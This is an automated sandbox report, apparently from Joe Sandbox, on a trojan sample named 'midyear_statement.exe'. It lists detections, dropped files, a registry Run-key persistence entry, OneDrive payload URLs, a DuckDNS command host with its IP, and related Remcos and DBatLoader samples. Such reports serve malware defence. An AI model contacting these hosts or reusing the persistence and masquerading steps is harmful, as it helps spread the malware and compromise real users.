DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 Bypass User Account Control	DCSync	161 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	41 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	221 Masquerading	/etc/passwd and /etc/shadow	4 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Valid Accounts	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	422 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
midyear_statement.exe	26%	ReversingLabs	Win32.Trojan.Generic
midyear_statement.exe	31%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Dhuirrkw.PIF	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\Public\Libraries\wkrriuhD.pif	3%	ReversingLabs
C:\Windows \System32\2506803.exe	0%	ReversingLabs
C:\Windows \System32\netutils.dll	75%	ReversingLabs	Win64.Trojan.Barys

Source	Detection	Scanner	Label
http://www.imvu.comr	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingth	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	100%	URL Reputation	phishing
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	URL Reputation	safe
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
https://aefd.nelreports.net/api/report?cat=bingaot	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingrms	0%	URL Reputation	safe
http://ocsp.sectigo.com0C	0%	URL Reputation	safe
http://www.ebuddy.com	0%	URL Reputation	safe
https://fp-afd.azurefd.us/apc/trans.gif?a2555e10569a45fe03b885d268c50da9	0%	Avira URL Cloud	safe
https://fp-afd.azurefd.us/apc/trans.gif?69c749c200c753dfb00f5bc8299ab8eb	0%	Avira URL Cloud	safe
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	0%	Avira URL Cloud	safe
https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?c2fcd52267835a3e34f9ac05	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpl	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpSystem32	0%	Avira URL Cloud	safe
xwww.zuckdgreb.duckdns.org	0%	Avira URL Cloud	safe
https://onedrive.live.co	0%	Avira URL Cloud	safe
https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?bd78002c55888096ce060c58	0%	Avira URL Cloud	safe
http://www.imvu.comppData	0%	Avira URL Cloud	safe
http://geoplugin.net/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dual-spov-0006.spov-msedge.net	13.107.139.11	true	false	unknown
www.zuckdgreb.duckdns.org	192.3.109.132	true	true	unknown
geoplugin.net	178.237.33.50	true	false	unknown
onedrive.live.com	unknown	unknown	false	high
abpoxw.sn.files.1drv.com	unknown	unknown	false	high
aborlw.sn.files.1drv.com	unknown	unknown	false	high
abqscw.sn.files.1drv.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk	false		high
https://onedrive.live.com/download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4	false		high
xwww.zuckdgreb.duckdns.org	true	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	true	URL Reputation: phishing	unknown
https://onedrive.live.com/download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P	bhv348F.tmp.27.dr	false		high
https://fp-afd.azurefd.us/apc/trans.gif?a2555e10569a45fe03b885d268c50da9	bhv348F.tmp.27.dr	false	Avira URL Cloud: safe	unknown
http://www.imvu.comr	wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://abpoxw.sn.files.1drv.com:443/y4maSSmIiFxHS53VrMh0Wc-KmE9UNGqFMoeO06mE8M1WEFsDmr1AeIzN4LcJU6c	Dhuirrkw.PIF, 00000020.00000003.1637043609.000000000082F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://abqscw.sn.files.1drv.com/y4mM5VAFczkoUgXiRkT2NbXnlBwvzcPuKz5AwJErjUwbkEuoWmzy8jSXGy266gPIcJH	Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1598043310.0000000000838000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingth	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aborlw.sn.files.1drv.com/y4mdIO5pciNH8fpwGOAAIADTo3pXjwRKPU-X6-J-zpDME1cfDB5-C-zJvJ0Zyx9NPNN	midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nirsoft.net	wkrriuhD.pif, 0000001B.00000002.1406015576.0000000000193000.00000004.00000010.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingaotak	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?c2fcd52267835a3e34f9ac05	bhv348F.tmp.27.dr	false	Avira URL Cloud: safe	unknown
https://abpoxw.sn.files.1drv.com/y4mVdi6rp2qkaaDX5Txipl4hmgaKma0en0K10OdbofbDqqNgddkNvfFr34Mxc3bQcF3	Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abqscw.sn.files.1drv.com/	Dhuirrkw.PIF, 0000001E.00000003.1514589660.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/	Dhuirrkw.PIF, 00000020.00000002.1638568341.00000000007B1000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/download?resid=653A5056738F1A02%21262&authkey=	Dhuirrkw.PIF, 00000020.00000002.1639873625.0000000003C12000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com	wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://abpoxw.sn.files.1drv.com/y4mhwTfeKQ4eY5KLg3nmxa_boO0q7i2wmVFOUDCXUh0ad78865G9-BX4CJ3kGlJVsre	Dhuirrkw.PIF, 0000001E.00000002.1567523437.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fp-afd.azurefd.us/apc/trans.gif?69c749c200c753dfb00f5bc8299ab8eb	bhv348F.tmp.27.dr	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	wkrriuhD.pif, 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, wkrriuhD.pif, 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
https://live.com/	midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.yahoo.com/config/login	wkrriuhD.pif	false		high
https://abpoxw.sn.files.1drv.com:443/y4ms4H1tLcGEiSUU0ZXyS-1UhN1A1nY0HWv2H1VcTggiyFj5GyqXlnGNUvRGU1y	midyear_statement.exe, 00000000.00000003.1292113599.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nirsoft.net/	wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false		high
https://onedrive.live.com/download?resid=653A5056738F1A02%21263&authkey=	Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aborlw.sn.files.1drv.com/y4mhPCChdz-WmirIkiDV2ww7X8Bbd2o2c6Warvjl_dk_jMmN6VWuryzdoRm3kPHX80_	Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1616710283.000000000083A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.co	Dhuirrkw.PIF, 00000020.00000002.1638568341.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aborlw.sn.files.1drv.com/	midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 0000001E.00000003.1545163878.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&	bhv348F.tmp.27.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://abqscw.sn.files.1drv.com/y4mu3pWdZcj6Ve9WuLc8z50Ki8byXob_qMUj9cAdyMI-JlRVlQqz67Is5cy4lCX-g6M	Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/	bhv348F.tmp.27.dr	false		high
https://live.com/W	Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://live.com/X	Dhuirrkw.PIF, 0000001E.00000003.1514589660.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpl	wkrriuhD.pif, 00000018.00000003.1379033633.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1382491430.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1405851694.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1622995189.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abpoxw.sn.files.1drv.com:443/y4mhwTfeKQ4eY5KLg3nmxa_boO0q7i2wmVFOUDCXUh0ad78865G9-BX4CJ3kGlJ	Dhuirrkw.PIF, 0000001E.00000003.1564727013.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.imvu.com	wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386954582.000000000096D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386589217.000000000096D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://abpoxw.sn.files.1drv.com/y4maSSmIiFxHS53VrMh0Wc-KmE9UNGqFMoeO06mE8M1WEFsDmr1AeIzN4LcJU6cd0Kw	Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=wsb	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
https://aborlw.sn.files.1drv.com/o	Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.imvu.comppData	wkrriuhD.pif, 0000001D.00000003.1386954582.000000000096D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000003.1386589217.000000000096D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	bhv348F.tmp.27.dr	false		high
https://abqscw.sn.files.1drv.com:443/y4mu3pWdZcj6Ve9WuLc8z50Ki8byXob_qMUj9cAdyMI-JlRVlQqz67Is5cy4lCX	Dhuirrkw.PIF, 0000001E.00000003.1514589660.0000000000803000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecfdb90f321c52ef6e93077f63413543.azr.footprintdns.com/apc/trans.gif?bd78002c55888096ce060c58	bhv348F.tmp.27.dr	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/download?resid=653A5056738F1A02%21264&authkey=	Dhuirrkw.PIF, 00000020.00000002.1639873625.0000000003C12000.00000004.00001000.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpSystem32	wkrriuhD.pif, 00000018.00000003.1379033633.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1382491430.0000000012491000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aborlw.sn.files.1drv.com/y4mLOg16uNX2Id3t-nfFLVYL7CZhAgTRemSr1q_NX-Mvx_fpOOS9Dz7js9NACEXeYp5	Dhuirrkw.PIF, 0000001E.00000003.1545101196.0000000000824000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/	wkrriuhD.pif, 00000018.00000003.1379033633.00000000124CA000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1379159545.00000000124D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaot	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
https://aborlw.sn.files.1drv.com/y4mXBt2sSJKJZHlLzI8sH3PFmgRqsPoY_FaTasOJSi4WNTk8bd6AgZ1TzwzQWZ2uDij	Dhuirrkw.PIF, 00000020.00000003.1616842718.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingrms	bhv348F.tmp.27.dr	false	URL Reputation: safe	unknown
https://live.com/a	Dhuirrkw.PIF, 0000001E.00000003.1545163878.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/accounts/servicelogin	wkrriuhD.pif	false		high
https://live.com/g	midyear_statement.exe, 00000000.00000003.1240930752.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://abpoxw.sn.files.1drv.com/y4ms4H1tLcGEiSUU0ZXyS-1UhN1A1nY0HWv2H1VcTggiyFj5GyqXlnGNUvRGU1yWLZH	midyear_statement.exe, 00000000.00000002.1380482770.0000000015BD6000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1292113599.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://abpoxw.sn.files.1drv.com/	midyear_statement.exe, 00000000.00000003.1292113599.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1362063312.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pmail.com	midyear_statement.exe, midyear_statement.exe, 00000000.00000003.1190782910.000000007FD60000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002A80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1381770717.0000000016137000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1382468437.0000000016170000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1380482770.0000000015C00000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, wkrriuhD.pif, 00000018.00000000.1358434050.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001B.00000000.1383271733.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001C.00000000.1383573996.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001D.00000000.1384411850.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 0000001F.00000002.1566764474.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif, 00000021.00000000.1636440948.0000000000416000.00000002.00000001.01000000.00000008.sdmp, wkrriuhD.pif.0.dr	false		high
http://ocsp.sectigo.com0C	midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ebuddy.com	wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.139.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.3.109.132	www.zuckdgreb.duckdns.org	United States	36352	AS-COLOCROSSINGUS	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417015
Start date and time:	2024-03-28 13:58:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	midyear_statement.exe
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winEXE@39/16@7/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 98 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-sn-files-brs.onedrive.akadns.net, l-0003.l-msedge.net, ocsp.digicert.com, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, odc-sn-files-geo.onedrive.akadns.net, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:58:57	API Interceptor	1x Sleep call for process: midyear_statement.exe modified
13:59:10	API Interceptor	24x Sleep call for process: powershell.exe modified
13:59:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Dhuirrkw C:\Users\Public\Dhuirrkw.url
15:41:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Dhuirrkw C:\Users\Public\Dhuirrkw.url
15:41:08	API Interceptor	2x Sleep call for process: Dhuirrkw.PIF modified
15:41:28	API Interceptor	6120056x Sleep call for process: wkrriuhD.pif modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.139.11	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	https://1drv.ms/o/s!Aks-7t91vov6sE-66HewIX77qIuB?e=wdAigZ	Get hash	malicious	SharepointPhisher	Browse
	Statement Of Account - Overdue Payments #94839540823489.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.7105.24636.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	PRODUCTS.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Variant.MSILHeracles.154798.18921.25285.exe	Get hash	malicious	Unknown	Browse
	Zam#U00f3wienie_5210000045542300.cmd	Get hash	malicious	DBatLoader, Remcos	Browse
	RFQ#30091.CMD.cmd	Get hash	malicious	DBatLoader	Browse
	Returned Swift Copy of Payment #475479.bat	Get hash	malicious	DBatLoader	Browse
	Returned Swift Copy of Payment #475479.bat	Get hash	malicious	DBatLoader	Browse
192.3.109.132	repeatorder.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	product_order.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	conditional_order.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
178.237.33.50	awb_shipping_documents_27_03_2024_0000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	FEDEX-TNT-OVERDUE-UNPAID-INVOICE980055177854.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	DHL TAX INVOICES - MARCH 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Statement of Account for Past Due Invoices.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	z1awb_shipping_documents_27_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	geoplugin.net/json.gp
